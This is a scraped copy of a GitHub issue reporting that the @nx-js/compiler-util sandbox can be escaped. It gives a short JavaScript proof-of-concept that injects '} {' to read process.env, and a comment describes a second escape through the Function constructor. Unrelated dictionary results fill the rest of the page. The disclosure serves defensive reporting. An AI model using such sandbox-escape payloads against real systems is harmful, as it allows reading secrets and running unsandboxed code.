Vulnerability
See original GitHub issueYou can escape the sandbox using something like this:
const compiler = require('@nx-js/compiler-util');
const code = compiler.compileCode('} { return global.process.env.LOGNAME');
const user = code({});
console.log(user);
Issue Analytics
- State:
- Created 3 years ago
- Comments:14
Top Results From Across the Web
Vulnerability Definition & Meaning - Dictionary.com
vulnerability · openness or susceptibility to attack or harm: · willingness to show emotion or to allow one's weaknesses to be seen or...
Read more >Vulnerability: The Key to Better Relationships - Mark Manson
Vulnerability is consciously choosing to NOT hide your emotions or desires from others. That's it. You just freely express your thoughts, feelings, desires,...
Read more >Vulnerability - Wikipedia
Vulnerability refers to "the quality or state of being exposed to the possibility of being attacked or harmed, either physically or emotionally.".
Read more >VULNERABILITY definition | Cambridge English Dictionary
Meaning of vulnerability in English ... the quality of being vulnerable (= able to be easily hurt, influenced, or attacked), or something that...
Read more >Brene Brown: How Vulnerability Can Make Our Lives Better
Vulnerability is basically uncertainty, risk, and emotional exposure. I was raised in a “get 'er done” and “suck it up” family and culture...
Read more >
Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free
Top Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Also wouldn’t it be also possible to escape the sandbox by simply getting hold of any function, reaching its constructor (i.e. Function), then using it to create a new un-sandboxed evaluation. See this for example: https://runkit.com/feralgeometry/5f7dcaf7cc4527001aed3119
yeah, seems like typescript transpiling catches this!
here are the options I used: